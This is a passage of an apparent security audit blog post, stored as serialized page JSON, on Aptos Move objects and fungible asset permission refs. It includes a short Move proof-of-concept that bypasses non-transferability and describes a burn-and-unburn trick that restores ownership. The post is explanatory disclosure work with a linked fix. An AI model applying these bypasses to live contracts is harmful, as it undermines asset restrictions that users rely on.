current_address",{"type":24,"tag":271,"props":71346,"children":71347},{"style":624},[71348],{"type":29,"value":1712},{"type":24,"tag":271,"props":71350,"children":71351},{"style":630},[71352],{"type":29,"value":69280},{"type":24,"tag":271,"props":71354,"children":71355},{"style":624},[71356],{"type":29,"value":41},{"type":24,"tag":271,"props":71358,"children":71359},{"style":288},[71360],{"type":29,"value":71361},"owner;\n",{"type":24,"tag":271,"props":71363,"children":71364},{"class":273,"line":374},[71365],{"type":24,"tag":271,"props":71366,"children":71367},{"style":288},[71368],{"type":29,"value":46665},{"type":24,"tag":271,"props":71370,"children":71371},{"class":273,"line":384},[71372],{"type":24,"tag":271,"props":71373,"children":71374},{"style":288},[71375],{"type":29,"value":1171},{"type":24,"tag":25,"props":71377,"children":71378},{},[71379,71381,71386],{"type":29,"value":71380},"This could allow for bypassing assumptions about ",{"type":24,"tag":135,"props":71382,"children":71384},{"className":71383},[],[71385],{"type":29,"value":68862},{"type":29,"value":71387}," true ownership and its non-transferability.",{"type":24,"tag":261,"props":71389,"children":71391},{"className":10718,"code":71390,"language":10717,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n let constructor_ref = object::create_object(signer::address_of(caller));\n let object_addr = object::address_from_constructor_ref(&constructor_ref);\n let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n object::transfer_raw(caller, object_addr, receipient);\n //receipient can interact with store by using their signer\n}\n",[71392],{"type":24,"tag":135,"props":71393,"children":71394},{"__ignoreMap":7},[71395,71453,71506,71550,71598,71605,71650,71658],{"type":24,"tag":271,"props":71396,"children":71397},{"class":273,"line":274},[71398,71402,71406,71411,71415,71420,71424,71428,71432,71436,71441,71445,71449],{"type":24,"tag":271,"props":71399,"children":71400},{"style":630},[71401],{"type":29,"value":68461},{"type":24,"tag":271,"props":71403,"children":71404},{"style":630},[71405],{"type":29,"value":13924},{"type":24,"tag":271,"props":71407,"children":71408},{"style":598},[71409],{"type":29,"value":71410}," untransferable_transfer",{"type":24,"tag":271,"props":71412,"children":71413},{"style":288},[71414],{"type":29,"value":606},{"type":24,"tag":271,"props":71416,"children":71417},{"style":630},[71418],{"type":29,"value":71419},"caller",{"type":24,"tag":271,"props":71421,"children":71422},{"style":624},[71423],{"type":29,"value":12210},{"type":24,"tag":271,"props":71425,"children":71426},{"style":624},[71427],{"type":29,"value":14858},{"type":24,"tag":271,"props":71429,"children":71430},{"style":630},[71431],{"type":29,"value":14863},{"type":24,"tag":271,"props":71433,"children":71434},{"style":288},[71435],{"type":29,"value":158},{"type":24,"tag":271,"props":71437,"children":71438},{"style":630},[71439],{"type":29,"value":71440},"receipient",{"type":24,"tag":271,"props":71442,"children":71443},{"style":624},[71444],{"type":29,"value":12210},{"type":24,"tag":271,"props":71446,"children":71447},{"style":630},[71448],{"type":29,"value":13967},{"type":24,"tag":271,"props":71450,"children":71451},{"style":288},[71452],{"type":29,"value":919},{"type":24,"tag":271,"props":71454,"children":71455},{"class":273,"line":284},[71456,71460,71465,71469,71473,71477,71482,71486,71490,71494,71498,71502],{"type":24,"tag":271,"props":71457,"children":71458},{"style":278},[71459],{"type":29,"value":10738},{"type":24,"tag":271,"props":71461,"children":71462},{"style":630},[71463],{"type":29,"value":71464}," constructor_ref",{"type":24,"tag":271,"props":71466,"children":71467},{"style":624},[71468],{"type":29,"value":1712},{"type":24,"tag":271,"props":71470,"children":71471},{"style":288},[71472],{"type":29,"value":69280},{"type":24,"tag":271,"props":71474,"children":71475},{"style":624},[71476],{"type":29,"value":11207},{"type":24,"tag":271,"props":71478,"children":71479},{"style":598},[71480],{"type":29,"value":71481},"create_object",{"type":24,"tag":271,"props":71483,"children":71484},{"style":288},[71485],{"type":29,"value":14917},{"type":24,"tag":271,"props":71487,"children":71488},{"style":624},[71489],{"type":29,"value":11207},{"type":24,"tag":271,"props":71491,"children":71492},{"style":598},[71493],{"type":29,"value":14926},{"type":24,"tag":271,"props":71495,"children":71496},{"style":288},[71497],{"type":29,"value":606},{"type":24,"tag":271,"props":71499,"children":71500},{"style":630},[71501],{"type":29,"value":71419},{"type":24,"tag":271,"props":71503,"children":71504},{"style":288},[71505],{"type":29,"value":5811},{"type":24,"tag":271,"props":71507,"children":71508},{"class":273,"line":294},[71509,71513,71517,71521,71525,71529,71534,71538,71542,71546],{"type":24,"tag":271,"props":71510,"children":71511},{"style":278},[71512],{"type":29,"value":10738},{"type":24,"tag":271,"props":71514,"children":71515},{"style":630},[71516],{"type":29,"value":70867},{"type":24,"tag":271,"props":71518,"children":71519},{"style":624},[71520],{"type":29,"value":1712},{"type":24,"tag":271,"props":71522,"children":71523},{"style":288},[71524],{"type":29,"value":69280},{"type":24,"tag":271,"props":71526,"children":71527},{"style":624},[71528],{"type":29,"value":11207},{"type":24,"tag":271,"props":71530,"children":71531},{"style":598},[71532],{"type":29,"value":71533},"address_from_constructor_ref",{"type":24,"tag":271,"props":71535,"children":71536},{"style":288},[71537],{"type":29,"value":606},{"type":24,"tag":271,"props":71539,"children":71540},{"style":624},[71541],{"type":29,"value":1137},{"type":24,"tag":271,"props":71543,"children":71544},{"style":630},[71545],{"type":29,"value":69714},{"type":24,"tag":271,"props":71547,"children":71548},{"style":288},[71549],{"type":29,"value":1155},{"type":24,"tag":271,"props":71551,"children":71552},{"class":273,"line":303},[71553,71557,71561,71565,71570,71574,71578,71582,71586,71590,71594],{"type":24,"tag":271,"props":71554,"children":71555},{"style":278},[71556],{"type":29,"value":10738},{"type":24,"tag":271,"props":71558,"children":71559},{"style":630},[71560],{"type":29,"value":13547},{"type":24,"tag":271,"props":71562,"children":71563},{"style":624},[71564],{"type":29,"value":1712},{"type":24,"tag":271,"props":71566,"children":71567},{"style":288},[71568],{"type":29,"value":71569}," primary_fungible_store",{"type":24,"tag":271,"props":71571,"children":71572},{"style":624},[71573],{"type":29,"value":11207},{"type":24,"tag":271,"props":71575,"children":71576},{"style":598},[71577],{"type":29,"value":69606},{"type":24,"tag":271,"props":71579,"children":71580},{"style":288},[71581],{"type":29,"value":606},{"type":24,"tag":271,"props":71583,"children":71584},{"style":630},[71585],{"type":29,"value":70913},{"type":24,"tag":271,"props":71587,"children":71588},{"style":288},[71589],{"type":29,"value":158},{"type":24,"tag":271,"props":71591,"children":71592},{"style":598},[71593],{"type":29,"value":69562},{"type":24,"tag":271,"props":71595,"children":71596},{"style":288},[71597],{"type":29,"value":23122},{"type":24,"tag":271,"props":71599,"children":71600},{"class":273,"line":312},[71601],{"type":24,"tag":271,"props":71602,"children":71603},{"emptyLinePlaceholder":16},[71604],{"type":29,"value":327},{"type":24,"tag":271,"props":71606,"children":71607},{"class":273,"line":321},[71608,71613,71617,71622,71626,71630,71634,71638,71642,71646],{"type":24,"tag":271,"props":71609,"children":71610},{"style":288},[71611],{"type":29,"value":71612}," object",{"type":24,"tag":271,"props":71614,"children":71615},{"style":624},[71616],{"type":29,"value":11207},{"type":24,"tag":271,"props":71618,"children":71619},{"style":598},[71620],{"type":29,"value":71621},"transfer_raw",{"type":24,"tag":271,"props":71623,"children":71624},{"style":288},[71625],{"type":29,"value":606},{"type":24,"tag":271,"props":71627,"children":71628},{"style":630},[71629],{"type":29,"value":71419},{"type":24,"tag":271,"props":71631,"children":71632},{"style":288},[71633],{"type":29,"value":158},{"type":24,"tag":271,"props":71635,"children":71636},{"style":630},[71637],{"type":29,"value":70913},{"type":24,"tag":271,"props":71639,"children":71640},{"style":288},[71641],{"type":29,"value":158},{"type":24,"tag":271,"props":71643,"children":71644},{"style":630},[71645],{"type":29,"value":71440},{"type":24,"tag":271,"props":71647,"children":71648},{"style":288},[71649],{"type":29,"value":1155},{"type":24,"tag":271,"props":71651,"children":71652},{"class":273,"line":330},[71653],{"type":24,"tag":271,"props":71654,"children":71655},{"style":2058},[71656],{"type":29,"value":71657}," //receipient can interact with store by using their signer\n",{"type":24,"tag":271,"props":71659,"children":71660},{"class":273,"line":339},[71661],{"type":24,"tag":271,"props":71662,"children":71663},{"style":288},[71664],{"type":29,"value":1171},{"type":24,"tag":25,"props":71666,"children":71667},{},[71668,71670,71677],{"type":29,"value":71669},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":24,"tag":32,"props":71671,"children":71674},{"href":71672,"rel":71673},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[36],[71675],{"type":29,"value":71676},"edge case",{"type":29,"value":71678}," involving the transfer of a non-transferable fungible store.",{"type":24,"tag":261,"props":71680,"children":71682},{"className":10718,"code":71681,"language":10717,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n let object = borrow_global_mut\u003CObjectCore>(ref.self);\n assert!(\n object.owner == ref.owner,\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n \n [...]\n \n object.owner = to;\n}\n",[71683],{"type":24,"tag":135,"props":71684,"children":71685},{"__ignoreMap":7},[71686,71751,71812,71859,71870,71905,71925,71932,71939,71954,71961,71989],{"type":24,"tag":271,"props":71687,"children":71688},{"class":273,"line":274},[71689,71693,71697,71702,71706,71710,71714,71719,71723,71727,71731,71735,71739,71743,71747],{"type":24,"tag":271,"props":71690,"children":71691},{"style":630},[71692],{"type":29,"value":68461},{"type":24,"tag":271,"props":71694,"children":71695},{"style":630},[71696],{"type":29,"value":13924},{"type":24,"tag":271,"props":71698,"children":71699},{"style":598},[71700],{"type":29,"value":71701}," transfer_with_ref",{"type":24,"tag":271,"props":71703,"children":71704},{"style":288},[71705],{"type":29,"value":606},{"type":24,"tag":271,"props":71707,"children":71708},{"style":278},[71709],{"type":29,"value":70123},{"type":24,"tag":271,"props":71711,"children":71712},{"style":624},[71713],{"type":29,"value":12210},{"type":24,"tag":271,"props":71715,"children":71716},{"style":3887},[71717],{"type":29,"value":71718}," LinearTransferRef",{"type":24,"tag":271,"props":71720,"children":71721},{"style":288},[71722],{"type":29,"value":158},{"type":24,"tag":271,"props":71724,"children":71725},{"style":630},[71726],{"type":29,"value":40398},{"type":24,"tag":271,"props":71728,"children":71729},{"style":624},[71730],{"type":29,"value":12210},{"type":24,"tag":271,"props":71732,"children":71733},{"style":630},[71734],{"type":29,"value":13967},{"type":24,"tag":271,"props":71736,"children":71737},{"style":288},[71738],{"type":29,"value":8823},{"type":24,"tag":271,"props":71740,"children":71741},{"style":630},[71742],{"type":29,"value":14061},{"type":24,"tag":271,"props":71744,"children":71745},{"style":3887},[71746],{"type":29,"value":70760},{"type":24,"tag":271,"props":71748,"children":71749},{"style":288},[71750],{"type":29,"value":7145},{"type":24,"tag":271,"props":71752,"children":71753},{"class":273,"line":284},[71754,71758,71762,71766,71770,71774,71779,71783,71787,71791,71795,71799,71803,71807],{"type":24,"tag":271,"props":71755,"children":71756},{"style":598},[71757],{"type":29,"value":69130},{"type":24,"tag":271,"props":71759,"children":71760},{"style":288},[71761],{"type":29,"value":606},{"type":24,"tag":271,"props":71763,"children":71764},{"style":624},[71765],{"type":29,"value":1818},{"type":24,"tag":271,"props":71767,"children":71768},{"style":630},[71769],{"type":29,"value":14421},{"type":24,"tag":271,"props":71771,"children":71772},{"style":288},[71773],{"type":29,"value":801},{"type":24,"tag":271,"props":71775,"children":71776},{"style":3887},[71777],{"type":29,"value":71778},"Untransferable",{"type":24,"tag":271,"props":71780,"children":71781},{"style":288},[71782],{"type":29,"value":15327},{"type":24,"tag":271,"props":71784,"children":71785},{"style":278},[71786],{"type":29,"value":70123},{"type":24,"tag":271,"props":71788,"children":71789},{"style":624},[71790],{"type":29,"value":41},{"type":24,"tag":271,"props":71792,"children":71793},{"style":278},[71794],{"type":29,"value":21414},{"type":24,"tag":271,"props":71796,"children":71797},{"style":288},[71798],{"type":29,"value":69719},{"type":24,"tag":271,"props":71800,"children":71801},{"style":624},[71802],{"type":29,"value":11207},{"type":24,"tag":271,"props":71804,"children":71805},{"style":598},[71806],{"type":29,"value":70605},{"type":24,"tag":271,"props":71808,"children":71809},{"style":288},[71810],{"type":29,"value":71811},"(ENOT_MOVABLE));\n",{"type":24,"tag":271,"props":71813,"children":71814},{"class":273,"line":294},[71815,71819,71823,71827,71831,71835,71839,71843,71847,71851,71855],{"type":24,"tag":271,"props":71816,"children":71817},{"style":278},[71818],{"type":29,"value":10738},{"type":24,"tag":271,"props":71820,"children":71821},{"style":630},[71822],{"type":29,"value":69280},{"type":24,"tag":271,"props":71824,"children":71825},{"style":624},[71826],{"type":29,"value":1712},{"type":24,"tag":271,"props":71828,"children":71829},{"style":630},[71830],{"type":29,"value":15313},{"type":24,"tag":271,"props":71832,"children":71833},{"style":288},[71834],{"type":29,"value":801},{"type":24,"tag":271,"props":71836,"children":71837},{"style":3887},[71838],{"type":29,"value":71255},{"type":24,"tag":271,"props":71840,"children":71841},{"style":288},[71842],{"type":29,"value":15327},{"type":24,"tag":271,"props":71844,"children":71845},{"style":278},[71846],{"type":29,"value":70123},{"type":24,"tag":271,"props":71848,"children":71849},{"style":624},[71850],{"type":29,"value":41},{"type":24,"tag":271,"props":71852,"children":71853},{"style":278},[71854],{"type":29,"value":21414},{"type":24,"tag":271,"props":71856,"children":71857},{"style":288},[71858],{"type":29,"value":1155},{"type":24,"tag":271,"props":71860,"children":71861},{"class":273,"line":303},[71862,71866],{"type":24,"tag":271,"props":71863,"children":71864},{"style":598},[71865],{"type":29,"value":69130},{"type":24,"tag":271,"props":71867,"children":71868},{"style":288},[71869],{"type":29,"value":4028},{"type":24,"tag":271,"props":71871,"children":71872},{"class":273,"line":312},[71873,71878,71882,71887,71891,71896,71900],{"type":24,"tag":271,"props":71874,"children":71875},{"style":630},[71876],{"type":29,"value":71877}," object",{"type":24,"tag":271,"props":71879,"children":71880},{"style":624},[71881],{"type":29,"value":41},{"type":24,"tag":271,"props":71883,"children":71884},{"style":288},[71885],{"type":29,"value":71886},"owner ",{"type":24,"tag":271,"props":71888,"children":71889},{"style":624},[71890],{"type":29,"value":5059},{"type":24,"tag":271,"props":71892,"children":71893},{"style":278},[71894],{"type":29,"value":71895}," ref",{"type":24,"tag":271,"props":71897,"children":71898},{"style":624},[71899],{"type":29,"value":41},{"type":24,"tag":271,"props":71901,"children":71902},{"style":288},[71903],{"type":29,"value":71904},"owner,\n",{"type":24,"tag":271,"props":71906,"children":71907},{"class":273,"line":321},[71908,71913,71917,71921],{"type":24,"tag":271,"props":71909,"children":71910},{"style":288},[71911],{"type":29,"value":71912}," error",{"type":24,"tag":271,"props":71914,"children":71915},{"style":624},[71916],{"type":29,"value":11207},{"type":24,"tag":271,"props":71918,"children":71919},{"style":598},[71920],{"type":29,"value":70605},{"type":24,"tag":271,"props":71922,"children":71923},{"style":288},[71924],{"type":29,"value":71289},{"type":24,"tag":271,"props":71926,"children":71927},{"class":273,"line":330},[71928],{"type":24,"tag":271,"props":71929,"children":71930},{"style":288},[71931],{"type":29,"value":51322},{"type":24,"tag":271,"props":71933,"children":71934},{"class":273,"line":339},[71935],{"type":24,"tag":271,"props":71936,"children":71937},{"style":288},[71938],{"type":29,"value":68572},{"type":24,"tag":271,"props":71940,"children":71941},{"class":273,"line":347},[71942,71946,71950],{"type":24,"tag":271,"props":71943,"children":71944},{"style":288},[71945],{"type":29,"value":69504},{"type":24,"tag":271,"props":71947,"children":71948},{"style":624},[71949],{"type":29,"value":17298},{"type":24,"tag":271,"props":71951,"children":71952},{"style":288},[71953],{"type":29,"value":19475},{"type":24,"tag":271,"props":71955,"children":71956},{"class":273,"line":356},[71957],{"type":24,"tag":271,"props":71958,"children":71959},{"style":288},[71960],{"type":29,"value":68572},{"type":24,"tag":271,"props":71962,"children":71963},{"class":273,"line":365},[71964,71968,71972,71976,71980,71985],{"type":24,"tag":271,"props":71965,"children":71966},{"style":630},[71967],{"type":29,"value":71612},{"type":24,"tag":271,"props":71969,"children":71970},{"style":624},[71971],{"type":29,"value":41},{"type":24,"tag":271,"props":71973,"children":71974},{"style":288},[71975],{"type":29,"value":71886},{"type":24,"tag":271,"props":71977,"children":71978},{"style":624},[71979],{"type":29,"value":762},{"type":24,"tag":271,"props":71981,"children":71982},{"style":630},[71983],{"type":29,"value":71984}," to",{"type":24,"tag":271,"props":71986,"children":71987},{"style":288},[71988],{"type":29,"value":1069},{"type":24,"tag":271,"props":71990,"children":71991},{"class":273,"line":374},[71992],{"type":24,"tag":271,"props":71993,"children":71994},{"style":288},[71995],{"type":29,"value":1171},{"type":24,"tag":25,"props":71997,"children":71998},{},[71999,72001,72006,72008,72013],{"type":29,"value":72000},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":24,"tag":135,"props":72002,"children":72004},{"className":72003},[],[72005],{"type":29,"value":70658},{"type":29,"value":72007},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":24,"tag":135,"props":72009,"children":72011},{"className":72010},[],[72012],{"type":29,"value":14863},{"type":29,"value":72014}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":24,"tag":85,"props":72016,"children":72018},{"id":72017},"references",[72019],{"type":29,"value":72020},"References",{"type":24,"tag":25,"props":72022,"children":72023},{},[72024,72029,72031,72037,72039,72044,72046,72051],{"type":24,"tag":135,"props":72025,"children":72027},{"className":72026},[],[72028],{"type":29,"value":72020},{"type":29,"value":72030}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":24,"tag":135,"props":72032,"children":72034},{"className":72033},[],[72035],{"type":29,"value":72036},"Refs",{"type":29,"value":72038}," are based on the ",{"type":24,"tag":135,"props":72040,"children":72042},{"className":72041},[],[72043],{"type":29,"value":56516},{"type":29,"value":72045}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":24,"tag":135,"props":72047,"children":72049},{"className":72048},[],[72050],{"type":29,"value":56516},{"type":29,"value":72052}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":24,"tag":25,"props":72054,"children":72055},{},[72056,72058,72063,72065,72070,72071,72077,72079,72084,72086,72091],{"type":29,"value":72057},"Let's get back to the ",{"type":24,"tag":135,"props":72059,"children":72061},{"className":72060},[],[72062],{"type":29,"value":68862},{"type":29,"value":72064}," deletion example. Both ",{"type":24,"tag":135,"props":72066,"children":72068},{"className":72067},[],[72069],{"type":29,"value":70147},{"type":29,"value":518},{"type":24,"tag":135,"props":72072,"children":72074},{"className":72073},[],[72075],{"type":29,"value":72076},"fungible_asset::remove_store",{"type":29,"value":72078}," use the same object-specific ",{"type":24,"tag":135,"props":72080,"children":72082},{"className":72081},[],[72083],{"type":29,"value":70079},{"type":29,"value":72085}," permission. It can be created only during object creation. There is no separate ",{"type":24,"tag":135,"props":72087,"children":72089},{"className":72088},[],[72090],{"type":29,"value":70079},{"type":29,"value":72092}," for fungible assets.",{"type":24,"tag":261,"props":72094,"children":72095},{"className":10718,"code":70029,"language":10717,"meta":7,"style":7},[72096],{"type":24,"tag":135,"props":72097,"children":72098},{"__ignoreMap":7},[72099,72106,72145,72152,72159],{"type":24,"tag":271,"props":72100,"children":72101},{"class":273,"line":274},[72102],{"type":24,"tag":271,"props":72103,"children":72104},{"style":2058},[72105],{"type":29,"value":70041},{"type":24,"tag":271,"props":72107,"children":72108},{"class":273,"line":284},[72109,72113,72117,72121,72125,72129,72133,72137,72141],{"type":24,"tag":271,"props":72110,"children":72111},{"style":630},[72112],{"type":29,"value":68461},{"type":24,"tag":271,"props":72114,"children":72115},{"style":630},[72116],{"type":29,"value":13924},{"type":24,"tag":271,"props":72118,"children":72119},{"style":598},[72120],{"type":29,"value":70057},{"type":24,"tag":271,"props":72122,"children":72123},{"style":288},[72124],{"type":29,"value":606},{"type":24,"tag":271,"props":72126,"children":72127},{"style":630},[72128],{"type":29,"value":70066},{"type":24,"tag":271,"props":72130,"children":72131},{"style":624},[72132],{"type":29,"value":12210},{"type":24,"tag":271,"props":72134,"children":72135},{"style":624},[72136],{"type":29,"value":14858},{"type":24,"tag":271,"props":72138,"children":72139},{"style":3887},[72140],{"type":29,"value":70079},{"type":24,"tag":271,"props":72142,"children":72143},{"style":288},[72144],{"type":29,"value":694},{"type":24,"tag":271,"props":72146,"children":72147},{"class":273,"line":294},[72148],{"type":24,"tag":271,"props":72149,"children":72150},{"emptyLinePlaceholder":16},[72151],{"type":29,"value":327},{"type":24,"tag":271,"props":72153,"children":72154},{"class":273,"line":303},[72155],{"type":24,"tag":271,"props":72156,"children":72157},{"style":2058},[72158],{"type":29,"value":70098},{"type":24,"tag":271,"props":72160,"children":72161},{"class":273,"line":312},[72162,72166,72170,72174,72178,72182,72186,72190],{"type":24,"tag":271,"props":72163,"children":72164},{"style":630},[72165],{"type":29,"value":68461},{"type":24,"tag":271,"props":72167,"children":72168},{"style":630},[72169],{"type":29,"value":13924},{"type":24,"tag":271,"props":72171,"children":72172},{"style":598},[72173],{"type":29,"value":70114},{"type":24,"tag":271,"props":72175,"children":72176},{"style":288},[72177],{"type":29,"value":606},{"type":24,"tag":271,"props":72179,"children":72180},{"style":278},[72181],{"type":29,"value":70123},{"type":24,"tag":271,"props":72183,"children":72184},{"style":624},[72185],{"type":29,"value":12210},{"type":24,"tag":271,"props":72187,"children":72188},{"style":3887},[72189],{"type":29,"value":70132},{"type":24,"tag":271,"props":72191,"children":72192},{"style":288},[72193],{"type":29,"value":694},{"type":24,"tag":25,"props":72195,"children":72196},{},[72197,72199,72204,72206,72212],{"type":29,"value":72198},"On the other hand, the \"frozen\" status of a ",{"type":24,"tag":135,"props":72200,"children":72202},{"className":72201},[],[72203],{"type":29,"value":68862},{"type":29,"value":72205}," is toggled using a ",{"type":24,"tag":135,"props":72207,"children":72209},{"className":72208},[],[72210],{"type":29,"value":72211},"TransferRef",{"type":29,"value":72213},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":24,"tag":261,"props":72215,"children":72217},{"className":10718,"code":72216,"language":10717,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n ref: &TransferRef,\n store: Object\u003CT>,\n frozen: bool,\n)\n",[72218],{"type":24,"tag":135,"props":72219,"children":72220},{"__ignoreMap":7},[72221,72257,72281,72308,72327],{"type":24,"tag":271,"props":72222,"children":72223},{"class":273,"line":274},[72224,72228,72232,72237,72241,72245,72249,72253],{"type":24,"tag":271,"props":72225,"children":72226},{"style":630},[72227],{"type":29,"value":68461},{"type":24,"tag":271,"props":72229,"children":72230},{"style":630},[72231],{"type":29,"value":13924},{"type":24,"tag":271,"props":72233,"children":72234},{"style":630},[72235],{"type":29,"value":72236}," set_frozen_flag",{"type":24,"tag":271,"props":72238,"children":72239},{"style":288},[72240],{"type":29,"value":801},{"type":24,"tag":271,"props":72242,"children":72243},{"style":3887},[72244],{"type":29,"value":13704},{"type":24,"tag":271,"props":72246,"children":72247},{"style":624},[72248],{"type":29,"value":12210},{"type":24,"tag":271,"props":72250,"children":72251},{"style":630},[72252],{"type":29,"value":13648},{"type":24,"tag":271,"props":72254,"children":72255},{"style":288},[72256],{"type":29,"value":14305},{"type":24,"tag":271,"props":72258,"children":72259},{"class":273,"line":284},[72260,72265,72269,72273,72277],{"type":24,"tag":271,"props":72261,"children":72262},{"style":278},[72263],{"type":29,"value":72264}," ref",{"type":24,"tag":271,"props":72266,"children":72267},{"style":624},[72268],{"type":29,"value":12210},{"type":24,"tag":271,"props":72270,"children":72271},{"style":624},[72272],{"type":29,"value":14858},{"type":24,"tag":271,"props":72274,"children":72275},{"style":3887},[72276],{"type":29,"value":72211},{"type":24,"tag":271,"props":72278,"children":72279},{"style":288},[72280],{"type":29,"value":638},{"type":24,"tag":271,"props":72282,"children":72283},{"class":273,"line":294},[72284,72288,72292,72296,72300,72304],{"type":24,"tag":271,"props":72285,"children":72286},{"style":630},[72287],{"type":29,"value":37088},{"type":24,"tag":271,"props":72289,"children":72290},{"style":624},[72291],{"type":29,"value":12210},{"type":24,"tag":271,"props":72293,"children":72294},{"style":3887},[72295],{"type":29,"value":68347},{"type":24,"tag":271,"props":72297,"children":72298},{"style":288},[72299],{"type":29,"value":801},{"type":24,"tag":271,"props":72301,"children":72302},{"style":3887},[72303],{"type":29,"value":13704},{"type":24,"tag":271,"props":72305,"children":72306},{"style":288},[72307],{"type":29,"value":13855},{"type":24,"tag":271,"props":72309,"children":72310},{"class":273,"line":303},[72311,72315,72319,72323],{"type":24,"tag":271,"props":72312,"children":72313},{"style":630},[72314],{"type":29,"value":67999},{"type":24,"tag":271,"props":72316,"children":72317},{"style":624},[72318],{"type":29,"value":12210},{"type":24,"tag":271,"props":72320,"children":72321},{"style":3887},[72322],{"type":29,"value":19753},{"type":24,"tag":271,"props":72324,"children":72325},{"style":288},[72326],{"type":29,"value":638},{"type":24,"tag":271,"props":72328,"children":72329},{"class":273,"line":312},[72330],{"type":24,"tag":271,"props":72331,"children":72332},{"style":288},[72333],{"type":29,"value":694},{"type":24,"tag":25,"props":72335,"children":72336},{},[72337,72338,72343,72344,72349],{"type":29,"value":1422},{"type":24,"tag":135,"props":72339,"children":72341},{"className":72340},[],[72342],{"type":29,"value":56516},{"type":29,"value":3360},{"type":24,"tag":135,"props":72345,"children":72347},{"className":72346},[],[72348],{"type":29,"value":72211},{"type":29,"value":72350}," is used to transfer object ownership:",{"type":24,"tag":261,"props":72352,"children":72354},{"className":10718,"code":72353,"language":10717,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n self: address,\n}\n",[72355],{"type":24,"tag":135,"props":72356,"children":72357},{"__ignoreMap":7},[72358,72366,72399,72418],{"type":24,"tag":271,"props":72359,"children":72360},{"class":273,"line":274},[72361],{"type":24,"tag":271,"props":72362,"children":72363},{"style":2058},[72364],{"type":29,"value":72365},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":24,"tag":271,"props":72367,"children":72368},{"class":273,"line":284},[72369,72373,72378,72382,72387,72391,72395],{"type":24,"tag":271,"props":72370,"children":72371},{"style":278},[72372],{"type":29,"value":1772},{"type":24,"tag":271,"props":72374,"children":72375},{"style":3887},[72376],{"type":29,"value":72377}," TransferRef",{"type":24,"tag":271,"props":72379,"children":72380},{"style":630},[72381],{"type":29,"value":17117},{"type":24,"tag":271,"props":72383,"children":72384},{"style":630},[72385],{"type":29,"value":72386}," drop",{"type":24,"tag":271,"props":72388,"children":72389},{"style":288},[72390],{"type":29,"value":158},{"type":24,"tag":271,"props":72392,"children":72393},{"style":630},[72394],{"type":29,"value":13657},{"type":24,"tag":271,"props":72396,"children":72397},{"style":288},[72398],{"type":29,"value":7145},{"type":24,"tag":271,"props":72400,"children":72401},{"class":273,"line":294},[72402,72406,72410,72414],{"type":24,"tag":271,"props":72403,"children":72404},{"style":278},[72405],{"type":29,"value":28473},{"type":24,"tag":271,"props":72407,"children":72408},{"style":624},[72409],{"type":29,"value":12210},{"type":24,"tag":271,"props":72411,"children":72412},{"style":630},[72413],{"type":29,"value":13967},{"type":24,"tag":271,"props":72415,"children":72416},{"style":288},[72417],{"type":29,"value":638},{"type":24,"tag":271,"props":72419,"children":72420},{"class":273,"line":303},[72421],{"type":24,"tag":271,"props":72422,"children":72423},{"style":288},[72424],{"type":29,"value":1171},{"type":24,"tag":25,"props":72426,"children":72427},{},[72428,72430,72435],{"type":29,"value":72429},"While the fungible asset's ",{"type":24,"tag":135,"props":72431,"children":72433},{"className":72432},[],[72434],{"type":29,"value":72211},{"type":29,"value":72436}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":24,"tag":261,"props":72438,"children":72440},{"className":10718,"code":72439,"language":10717,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n metadata: Object\u003CMetadata>\n}\n",[72441],{"type":24,"tag":135,"props":72442,"children":72443},{"__ignoreMap":7},[72444,72452,72460,72491,72518],{"type":24,"tag":271,"props":72445,"children":72446},{"class":273,"line":274},[72447],{"type":24,"tag":271,"props":72448,"children":72449},{"style":2058},[72450],{"type":29,"value":72451},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":24,"tag":271,"props":72453,"children":72454},{"class":273,"line":284},[72455],{"type":24,"tag":271,"props":72456,"children":72457},{"style":2058},[72458],{"type":29,"value":72459},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":24,"tag":271,"props":72461,"children":72462},{"class":273,"line":294},[72463,72467,72471,72475,72479,72483,72487],{"type":24,"tag":271,"props":72464,"children":72465},{"style":278},[72466],{"type":29,"value":1772},{"type":24,"tag":271,"props":72468,"children":72469},{"style":3887},[72470],{"type":29,"value":72377},{"type":24,"tag":271,"props":72472,"children":72473},{"style":630},[72474],{"type":29,"value":17117},{"type":24,"tag":271,"props":72476,"children":72477},{"style":630},[72478],{"type":29,"value":72386},{"type":24,"tag":271,"props":72480,"children":72481},{"style":288},[72482],{"type":29,"value":158},{"type":24,"tag":271,"props":72484,"children":72485},{"style":630},[72486],{"type":29,"value":13657},{"type":24,"tag":271,"props":72488,"children":72489},{"style":288},[72490],{"type":29,"value":7145},{"type":24,"tag":271,"props":72492,"children":72493},{"class":273,"line":303},[72494,72498,72502,72506,72510,72514],{"type":24,"tag":271,"props":72495,"children":72496},{"style":630},[72497],{"type":29,"value":68338},{"type":24,"tag":271,"props":72499,"children":72500},{"style":624},[72501],{"type":29,"value":12210},{"type":24,"tag":271,"props":72503,"children":72504},{"style":3887},[72505],{"type":29,"value":68347},{"type":24,"tag":271,"props":72507,"children":72508},{"style":288},[72509],{"type":29,"value":801},{"type":24,"tag":271,"props":72511,"children":72512},{"styl